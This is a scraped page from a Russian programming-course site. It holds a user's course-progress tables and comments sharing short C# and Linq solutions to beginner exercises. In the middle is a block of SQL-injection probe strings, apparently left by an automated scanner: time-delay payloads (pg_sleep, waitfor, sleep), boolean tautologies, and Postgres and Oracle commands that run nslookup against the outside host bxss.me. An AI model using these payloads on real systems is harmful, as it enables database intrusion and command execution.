Дата активности | Видеокурс | Прогресс | ||
---|---|---|---|---|
2018-10-29 | gmaps | ASP.NET и GMaps | 37 % | |
2018-10-28 | aspnet | Базовый ASP.ект | 96 % | |
2018-10-27 | ogame | On-line игра | % | |
2018-10-07 | task3 | Комбинаторика | 32 % | |
2018-10-04 | iterator | Итератор | 100 % | |
2018-09-19 | webapi | Web API | % | |
2018-09-16 | game0 | Демо игры | 100 % | |
2018-09-16 | wpf2 | Простой WPF | % | |
2018-09-16 | soft0 | Демо софт | 115 % | |
2018-09-15 | game1 | Нано-игры | 90 % | |
2018-09-14 | ef | Entity Framework | 100 % | |
2018-09-05 | chess3 | Шахматы по сети | % | |
2018-05-27 | power | Дневник успеха | 17 % | |
2018-01-14 | nevermind | Невидимка | % | |
2018-01-06 | javasweeper | Java Sweeper | % | |
2017-10-28 | soft1 | Нанософт | 10 % | |
Итого: | 45 % |
Дата активности | Консольный раздел | Прогресс | ||
---|---|---|---|---|
2019-01-17 | book | 000. Строки | 75 % | |
2019-01-15 | club | 4004 - Елена Вставская | 4 % | |
2018-12-23 | task1 | Календарь | 100 % | |
2018-12-22 | task1 | Цифры | 92 % | |
2018-12-21 | club | 24 - Муза Оля | 100 % | |
2018-12-20 | task2 | VIP задачи | % | |
2018-12-18 | task2 | Комбинаторика | 100 % | |
2018-12-16 | task2 | Динамика | 100 % | |
2018-12-15 | task2 | Матрицы | 100 % | |
2018-12-15 | task2 | Рекурсия | 100 % | |
2018-12-13 | task2 | Строки | 100 % | |
2018-12-13 | task2 | Подпрограммы | 100 % | |
2018-12-11 | task2 | Простые массивы | 100 % | |
2018-12-10 | task2 | Матрёшки | 100 % | |
2018-12-09 | task2 | По цифрам | 100 % | |
2018-12-09 | task2 | Математика | 100 % | |
2018-12-09 | task2 | Любимые циклы | 100 % | |
2018-12-08 | task2 | Последовательность | 100 % | |
2018-12-07 | task2 | Точка и плоскость | 100 % | |
2018-12-07 | task2 | Узник цикла IF | 100 % | |
2018-12-06 | task2 | Обман цикла | 100 % | |
2018-12-06 | task2 | Do-рацикл | 100 % | |
2018-12-05 | task2 | Пока-цикл | 100 % | |
2018-12-05 | task2 | Вечность | 100 % | |
2018-12-04 | task2 | For-to-чки | 100 % | |
2018-12-03 | task2 | Условный оператор | 100 % | |
2018-12-01 | task2 | Типы данных | 100 % | |
2018-12-01 | task2 | Логика | 100 % | |
2018-11-30 | task2 | Алгоритмика | 100 % | |
2018-11-25 | task1 | Целые задачи | 100 % | |
2018-11-24 | task1 | Геометрия | 100 % | |
2018-11-21 | task1 | Формулы | 100 % | |
2018-11-21 | task1 | Символы | 100 % | |
2018-11-19 | task1 | Лирика | 93 % | |
2018-11-19 | task1 | Строки | 100 % | |
2018-11-18 | task1 | Целые числа | 100 % | |
2018-11-18 | task1 | Семантика | 100 % | |
2018-10-28 | solo | Java - Циклы | 150 % | |
2018-10-27 | solo | Java - Запуск | 85 % | |
2018-10-18 | solo | C# набор | 165 % | |
2018-10-03 | solo | Java - Вывод данных | 43 % | |
2018-09-29 | olimp | Олимпиада | 10 % | |
2018-05-03 | olimp | Шахматы | 50 % | |
Итого: | 87 % |
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-6924.11120.c9d55.\1.bxss.me
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-6923.11120.c9d55.\1.bxss.me'
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-6921.11120.c9d55.1.bxss'||'.me')||'
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-6918.11120.c9d55.1.bxss'||'.me')
KMoppzY2'));select pg_sleep(8.765); --
oTkAjp1j');select pg_sleep(17.53); --
Xj3p4Py2';select pg_sleep(26.295); --
-1));select pg_sleep(26.295); --
-1);select pg_sleep(17.53); --
-1;select pg_sleep(8.765); --
CUFOBODM'; waitfor delay '0:0:8.765' --
1 waitfor delay '0:0:26.295' --
-1); waitfor delay '0:0:8.765' --
-1; waitfor delay '0:0:8.765' --
(select(0)from(select(sleep(26.295)))v)/*'+(select(0)from(select(sleep(26.295)))v)+'"+(select(0)from(select(sleep(26.295)))v)+"*/
if(now()=sysdate(),sleep(17.53),0)/*'XOR(if(now()=sysdate(),sleep(17.53),0))OR'"XOR(if(now()=sysdate(),sleep(17.53),0))OR"*/
-1" OR 2+334-334-1=0+0+0+1 --
-1' OR 2+633-633-1=0+0+0+1 or 'hd7F0awj'='
-1' OR 2+302-302-1=0+0+0+1 --
-1 OR 2+926-926-1=0+0+0+1
-1 OR 2+208-208-1=0+0+0+1 --
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-1845.11120.08929.\1.bxss.me
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-1839.11120.08929.\1.bxss.me'
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-1837.11120.08929.1.bxss'||'.me')||'
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-1835.11120.08929.1.bxss'||'.me')
nQ3EOzb2'));select pg_sleep(7.376); --
9tq9NcDK');select pg_sleep(7.376); --
WOF93O1g';select pg_sleep(11.064); --
pKk8eGm5'; waitfor delay '0:0:7.376' --
(select(0)from(select(sleep(3.688)))v)/*'+(select(0)from(select(sleep(3.688)))v)+'"+(select(0)from(select(sleep(3.688)))v)+"*/
if(now()=sysdate(),sleep(3.688),0)/*'XOR(if(now()=sysdate(),sleep(3.688),0))OR'"XOR(if(now()=sysdate(),sleep(3.688),0))OR"*/
-1' OR 2+848-848-1=0+0+0+1 or 'm9rSrTCx'='
Можете ли вы выслать мне этот файл Zero.png, я не знаю, как это сделать: krasizorbov@abv.bg
Ну да, entity framework с Linq to SQL очень удобно использовать и коротко получается. А лямбдами можно вообще многие простые методы в одну строку вписать. Правда я это на основе уроков только говорю, так как работу программистом пока не могу найти.
Я на работе часто использую MySQL. И никак не могу найти время хотя бы по диагонали почитать Linq. При работе с СУБД думаю он будет крайне полезен. А в сочетании с лямбда выражениями - просто песня.
Да, в принципе, любой учебник по C# затрагивает Linq и на сайте MS тоже есть разбор возможностей C#. Но без конкретной необходимости применить что-то из Linq нет смысла его зубрить. Лучше прочитать про его возможности, а потом уже при написании программы вспомнить, что, кажется, вот тут выборку значений из массива по условию можно сделать короче используя Linq и поискать примеры на stackoverflow. Ну и, конечно, лучше сначала научиться делать всё без Linq - он же по сути занимается тем же самым перебором массивов через foreach, просто скрыто генерирует все переборы и условия. Ну и использование Linq не всегда оправдано: он может быть как быстрее, так и медленнее прописывания вручную.
прекрасное решение. Обязательно нужно Linq учить. Кстати не подскажите книжечку или курс попонятнее? Заранее благодарен
h - 1 знак часа в 12-часовом формате (5 а не 05)
m - 1 знак минуты (5, а не 05)
s - 1 знак секунды(5, а не 05)
@ - показывает, что строку надо обрабатывать как есть и тогда можно писать 1 слеш вместо двух
\ - показывает, что тут надо поставить пробел
Дело в том, что конвертация DateTime в string не понимает явно указанных пробелов и надо их обозначить служебным символом, а так как один слеш конвертация использует в своих целях, то надо два слеша. А @ позволяет обойтись одним. То есть, вместо .ToString(@"h\ m\ s") можно написать и .ToString(@"h\\ m\\ s").
Можешь пожалуйста обьяснить последнюю строку? А именно (@"h\ m\ s")
На самом деле надо ещё проще:
Console.WriteLine(Console.ReadLine().Substring(1, 4));
Но нельзя использовать слово string :))))
Можно ещё кратче:
{
ulong t = 1, f = 0, N = ulong.Parse(Console.ReadLine());
while (f < N) f = t + (t = f);
Console.WriteLine(f == N && N != 0 ? "YES" : "NO");
}
В тесте ошибка: 0 относится к числам Фибоначчи: en.wikipedia.org/wiki/Fibonacci_number#List_of_Fibonacci_numbers
Пришлось добавить исключение для нуля :(
А я сделал через Enum... Доктор скажите, я извращенец? ^_^
А здесь парсить строки вообще нет нужды.
Сделал через Jagged Array - так и заполнение и вывод массива в одну строчку получается.
Сделал через цикл с использованием НОДа от предыдущей задачи, а введённые координаты храню в структуре Point в List.
Проще через Min и Max конечно, но чтобы оптимизировать решение пришлось больше строчек на одну сделать :(
Интересно. Сделал цикл для произвольного количества элементов. Для интереса в методе поиска НОДа попробовал рекурсию, while и for.
Выяснил, что с циклом for из видеорешения 7-й тест вылетает по таймауту, потому что на 1 прогон чисел в тесте на i5-8250U нужно больше 22 секунд!
Рекурсия же для прогона 1 000 000 раз затратила минимум 199 мс!
А круче всего работает цикл while - 1 000 000 прогонов за 122 мс!
То есть, цикл ащк из видеорешения более чем в 180 миллионов раз неэффективнее цикла while и более чем в 110 миллионов неэффективнее рекурсии!
Я решил задачу в одну строчку через Enumerable.Range в Linq и проверкой на наличие лишних char в строке. Но потом я задумал чисто работу со строкой и чтобы составлять строку поразрядным увеличением. Можно сказать, что решил сделать кастомный BigInt под конкретную задачу инкремента числа на 2 - 2 - 6. Но в решение её не внёс, чтобы оставить короткое решение через Linq :)
var s = "3333333".ToCharArray();
for (int stop = 6; stop >= 0;)
{
int pos = 6;
for (int inc = 3; inc <= 7; inc += 2)
{
s[pos] = inc.ToString().ToCharArray()[0];
Console.WriteLine(s);
}
while (pos >= 0)
{
if (s[pos] == '7')
{
s[pos] = '3';
pos--;
stop--;
}
else
{
s[pos] = ((int.Parse(s[pos].ToString())) + 2).ToString().ToCharArray()[0];
stop = pos;
break;
}
}
}
А мне нравится такое решение:
var nums = Array.ConvertAll(Console.ReadLine().Trim().Split(), int.Parse).OrderBy(x => x);
foreach (var n in nums) Console.WriteLine(n);
Как я перестал бояться и полюбил Linq:
using System.Linq;
using System;
class VideoSharp
{
static void Main()/*if*/
{
Console.WriteLine(Array.ConvertAll(Console.ReadLine().Split(), long.Parse).Take(3).Max());
}
}
оно скрыто от постороних глаз решение под кнопкой а вы показываете уже сразу решение и это плохо очень
- чтобы показать альтернативный вариант решения.
- можно тупо скопировать и из видеорешения.
- обсуждайте!
- готовое решение можно сразу посмотреть в видео - тоже очень плохо?
- вот именно! Никакой разницы. Если кто-то не хочет решать сам или смотреть видео, то он точно так-же посмотрит решение промотав в конец.
Вот и для чего публиковать тут в сообшении решение задачки?
Тут ведь приходят чтобы научится и некто их незаставляет учится чтобы брать и тупо копировать код программы
А так хотят видеть не готовое решение программы а обсуждение ее
А вы сразу тут постите решение задачки и это очень плохо
А так есть кнопка видеорешение можно посмотреть решение или в самый конец прокрутить и переписать решение но непонять его
int i = int.Parse(Console.ReadLine()) * 2;
byte b = (byte)i;
Console.WriteLine(i + " " + b);
Умный в циклы не пойдёт, умный LINQ'ом обойдёт...
using System.Linq;
using System;
class VideoSharp
{
static void Main()/*[]*/
{
string N = Console.ReadLine();
Console.WriteLine(Console.ReadLine().Split().Count(n => n == "0" || n == "-0"));
}
}
В одну строчку с Linq:
using System;
using System.Linq;
class VideoSharp
{
static void Main()/*for continue*/
{
Console.WriteLine(Console.ReadLine().Count(c => "bcdfghjklmnpqrstvwxz".Contains(char.ToLower(c))));
}
}
Альтернативный вариант:
int N = int.Parse(Console.ReadLine());
System.Text.StringBuilder sb = new System.Text.StringBuilder(":-");
for (int i = 0; i < N; i++) sb.Append(")");
Console.WriteLine(sb.ToString());
А вот вам альтернативный вариант!
class VideoSharp
{
static void Main()/*AddYears AddMonths AddDays*/
{
DateTime dt1 = DateTime.Parse(Console.ReadLine());
DateTime dt2 = DateTime.Parse(Console.ReadLine());
int years, months, days;
years = dt2.Year - dt1.Year;
if (dt2.Month < dt1.Month)
{
years--;
months = 12 - dt1.Month + dt2.Month;
}
else months = dt2.Month - dt1.Month;
if (dt2.Day < dt1.Day)
{
if (dt2.Month == dt1.Month)
{
years--;
months = 11;
}
else months--;
days = DateTime.DaysInMonth(dt1.Year, dt1.Month) - dt1.Day + dt2.Day;
if (months == 11 && days == 28)
{
years++;
months = 0;
days = 0;
}
}
else days = dt2.Day - dt1.Day;
Console.WriteLine("{0}\r\n{1}\r\n{2}", years, months, days);
}
}
long seconds = long.Parse(Console.ReadLine()) % 86400;
TimeSpan time = TimeSpan.FromSeconds(seconds);
Console.WriteLine(time.ToString(@"h\ m\ s"));
DateTime dt;
if (DateTime.TryParse(Console.ReadLine(), out dt)) Console.WriteLine(dt.DayOfYear);
else Console.WriteLine(-1);
string num = Console.ReadLine().TrimStart('0', '-'); int even = 0, odd = 0;
foreach (char c in num)
{
if ((c - '0') % 2 == 0) even++;
else odd++;
}
Console.WriteLine(even == odd ? 0 : even > odd ? 2 : 1);
using System;
class VideoSharp
{
static void Main()
{
Console.WriteLine(Console.ReadLine().Remove(0, 1).Remove(4, 1));
}
}
var str = Console.ReadLine().Trim('0');
if (str.Length < 2) Console.WriteLine(str);
else Console.WriteLine("{1}{0}", str[0], str[1]);
Попробовал такой вариант:
string str = Console.ReadLine();
str = str.Remove(str.Length - 2);
str += "00";
Console.WriteLine(str);
Но роботу ненравится ответ "00" на введённое число "24". Почему?
Нельзя string? Ну нельзя - так нельзя...
static void Main()
{
var input = Console.ReadLine(); int sum = 0;
foreach (var n in input) sum+= (n - '0');
Console.WriteLine(sum);
}
long[] nums = Array.ConvertAll(Console.ReadLine().Split(new[] {'+', '*', '='}, StringSplitOptions.RemoveEmptyEntries), long.Parse);
Console.WriteLine(nums[0] + nums[1] * nums[2]);
Попробовал сначала сделать целиком через строки, но чтобы всё учесть слишком длинное решение получается. Поэтому очтановился на таком:
double input = double.Parse(Console.ReadLine(), NumberStyles.Float, CultureInfo.InvariantCulture);
string str = input.ToString("F3");
Console.WriteLine(str.Substring(str.Length - 2, 1));
Форматирую строку под 3 знака после запятой ("F3"), а не под 2, чтобы избежать округления. И поэтому беру второй знак с конца. а не первый.
static void Main()/*IndexOf Substring*/
{
long[] nums = Array.ConvertAll(Console.ReadLine().Split(new[] {'*', '='}, StringSplitOptions.RemoveEmptyEntries), long.Parse);
Console.WriteLine(nums[0] * nums[1]);
}
Console.WriteLine(string.Join("", Console.ReadLine().Split().Take(7).Select(c => Convert.ToChar(int.Parse(c)))));
Console.WriteLine(string.Join(" ", Console.ReadLine().Take(5).Select(c => Convert.ToInt32(c))));
string ticketA = Console.ReadLine(), ticketB = Console.ReadLine();
int sum = 0, length = ticketA.Length;
for (int i = 0; i < length; i++) sum += Math.Abs(ticketA[i] - ticketB[i]);
Console.WriteLine(sum);
Console.WriteLine(Array.ConvertAll(Console.ReadLine().Split(), x => int.Parse(x)).Aggregate((a, b) => b * a));
int[] nums = Array.ConvertAll(Console.ReadLine().ToCharArray(), x => x - '0');
Console.WriteLine(nums.Sum());